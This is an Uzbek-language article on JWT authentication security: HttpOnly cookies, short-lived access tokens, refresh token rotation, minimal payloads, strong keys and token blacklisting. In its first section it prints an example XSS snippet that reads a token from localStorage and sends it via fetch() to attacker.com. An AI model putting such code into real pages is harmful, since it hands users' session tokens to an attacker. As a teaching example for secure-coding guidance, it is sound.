JWT Token Xavfsizligi: Refresh va Access Token Best Practice

Veb-ilovalarda JWT Nega Ommabop va Xavfli?

Zamonaviy veb va mobil ilovalarda foydalanuvchini autentifikatsiya qilish uchun JSON Web Token (JWT) deyarli standartga aylandi. Django REST Framework, FastAPI, Node.js yoki React bilan ishlayotganda, ko'pchiligimiz an'anaviy sessiyalardan voz kechib, aynan JWT texnologiyasini tanlaymiz. Biroq, ko'plab yangi boshlovchi va hatto tajribali dasturchilar tokenlarni saqlash va boshqarishda qo'pol xatolarga yo'l qo'yishadi. Natijada ilova XSS (Cross-Site Scripting) yoki CSRF (Cross-Site Request Forgery) kabi xavfli xurujlarga nishon bo'lib qoladi.

Ushbu maqolada biz amaliy tajribaga tayangan holda JWT xavfsizligini ta'minlashning eng muhim qoidalari va eng yaxshi amaliyotlarini (best practices) ko'rib chiqamiz.

1. Tokenlarni Qayerda Saqlash Kerak: LocalStorage Xatosi

Ko'plab o'quv qo'llanmalarida tokenni brauzerning localStorage yoki sessionStorage qismiga yozish ko'rsatiladi. Bu ishlab chiqish jarayonida juda oson va qulay ko'rinadi, ammo ishlab chiqarish (production) muhitida eng xavfli qarorlardan biridir.

Brauzer xotirasidagi localStorage obyekti sahifadagi istalgan JavaScript kodi uchun ochiq hisoblanadi. Agar loyihangizga uchinchi tomon kutubxonasi yoki zararli skript (XSS) kirib qolsa, bitta buyruq orqali foydalanuvchining barcha tokenlarini tajovuzkorning serveriga jo'natib yuborish mumkin:

// Xaker uchun localStorage-dan tokenni o'g'irlash juda oson:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);

To'g'ri Yechim: HttpOnly va Secure Cookie

Eng xavfsiz usul — tokenni HttpOnly flagi yoqilgan cookie faylida saqlashdir. Bunday cookieni JavaScript orqali o'qib bo'lmaydi (document.cookie orqali ko'rinmaydi). Brauzer ushbu cookieni har bir so'rov bilan birga avtomatik ravishda backend serverga yuboradi.

• HttpOnly: JavaScript kodiga tokenni o'g'irlash imkonini bermaydi va XSS xurujlarining zararini keskin kamaytiradi.
• Secure: Cookie faqatgina shifrlangan HTTPS protokoli orqali yuborilishini kafolatlaydi.
• SameSite=Lax yoki Strict: Boshqa saytlardan amalga oshiriladigan soxta so'rovlarni (CSRF) to'xtatadi.

2. Access va Refresh Token Arxitekturasi

Bitta uzoq muddatli token bilan ishlash — xavfsizlik nuqtai nazaridan xatodir. Agar 30 kunlik yagona token xaker qo'liga tushsa, u butun bir oy davomida hisob egasi sifatida harakat qilishi mumkin. Shuning uchun tokenni ikkiga ajratish shart:

Access Token (Kirish Tokeni)

Ushbu token API resurslariga kirish huquqini beradi. Uning amal qilish muddati juda qisqa bo'lishi kerak: odatda 5 dan 15 daqiqagacha. Access tokenni frontend xotirasida (React state yoki Redux/Zustand kabi in-memory store) saqlash tavsiya etiladi. Sahifa yangilanganda, refresh token orqali yangi access token so'rab olinadi.

Refresh Token (Yangilash Tokeni)

Bu token faqatgina yangi access token olish uchun ishlatiladi. U uzoqroq umr ko'radi (masalan, 7 kun yoki 14 kun). Refresh tokenni hech qachon ochiq saqlamaslik kerak — u faqat backend tomonidan HttpOnly Secure Cookie ko'rinishida o'rnatilishi va faqat token yangilash endpointiga (masalan, /api/token/refresh/) yuborilishi zarur.

3. Refresh Token Rotation (Almashinish) Mexanizmi

Refresh token almashinishi (Rotation) — zamonaviy autentifikatsiyaning eng kuchli himoya usullaridan biridir. Har safar frontend yangi access token so'raganda, backend nafaqat yangi access token, balki yangi refresh token ham beradi va eskisini bazada yaroqsiz deb belgilaydi.

Agar xaker o'g'irlangan refresh tokendan foydalanishga harakat qilsa nima bo'ladi? Backend tizimi bir xil refresh tokendan ikkinchi marta foydalanilayotganini sezadi. Bu zudlik bilan qoidabuzarlik deb baholanadi va tizim foydalanuvchining barcha faol sessiyalarini bekor qiladi hamda qayta login qilishni talab etadi.

4. JWT Payload Ichida Maxfiy Ma'lumot Saqlamang

Boshlang'ich dasturchilar ko'pincha JWT shifrlangan deb o'ylashadi. Bu mutlaqo noto'g'ri tushuncha! JWT tokeni uch qismdan iborat: Header, Payload va Signature. Ular shunchaki Base64URL formati bilan kodlangan.

Har qanday odam jwt.io saytiga kirib yoki konsolda atob() funksiyasi orqali payload ma'lumotlarini o'qishi mumkin. Shuning uchun token ichiga hech qachon parollar, shaxsiy pasport ma'lumotlari, karta raqamlari yoki maxfiy rollarni joylashtirmang. Payloadda faqat minimal ma'lumotlar bo'lishi kerak: foydalanuvchi identifikatori (ID) va token muddati (exp).

5. SECRET_KEY va Kriptografik Algoritmlar

JWT imzolanishi uning soxtalashtirilmaganini tekshirish uchun xizmat qiladi. Buning uchun backendda maxfiy kalit (SECRET_KEY) ishlatiladi:

• Kalit uzunligi: Imzolash kaliti kamida 256-bitli tasodifiy murakkab belgilar to'plamidan iborat bo'lishi shart. Uni hech qachon GitHub repozitoriysiga yuklamang, balki muhit o'zgaruvchilarida (environment variables) saqlang.
• Algoritm tekshiruvi: Hech qachon 'none' algoritmini qabul qilmang. Backend kutubxonasida faqat aniq belgilangan (masalan, HS256 yoki asimmetrik RS256) algoritmni tekshirishni majburiy qilib sozlang.

6. Sessiyalarni Bekor Qilish (Blacklist) Imkoniyati

JWT mustaqil (stateless) bo'lgani uchun uning eng katta kamchiligi — berilgan tokenni muddati tugaguncha server tomondan to'xtatish qiyinligidir. Agar foydalanuvchi 'Chiqish' (Logout) tugmasini bossa yoki uning hisobi buzilgani aniqlansa, tokenni bekor qilish kerak bo'ladi.

Buning uchun Redis yoki kesh xotirasida bekor qilingan tokenlar ro'yxatini (Token Blacklist) saqlash tavsiya etiladi. Har bir so'rov kelganda tokenni keshdan tezkor tekshirish tizimga ozgina yuklama beradi, ammo xavfsizlikni bir necha barobar oshiradi.

Xulosa

JWT autentifikatsiyasi — qulay va samarali vosita, ammo unga e'tiborsiz munosabatda bo'lish butun loyiha xavfsizligiga putur yetkazadi. Access tokenni qisqa muddatli qiling, refresh tokenni HttpOnly cookie ichida saqlang, token rotation mexanizmini joriy eting va payloadda ortiqcha ma'lumot qoldirmang. Ushbu amaliy qoidalar ilovangizni xakerlik xurujlaridan ishonchli himoya qilishga yordam beradi.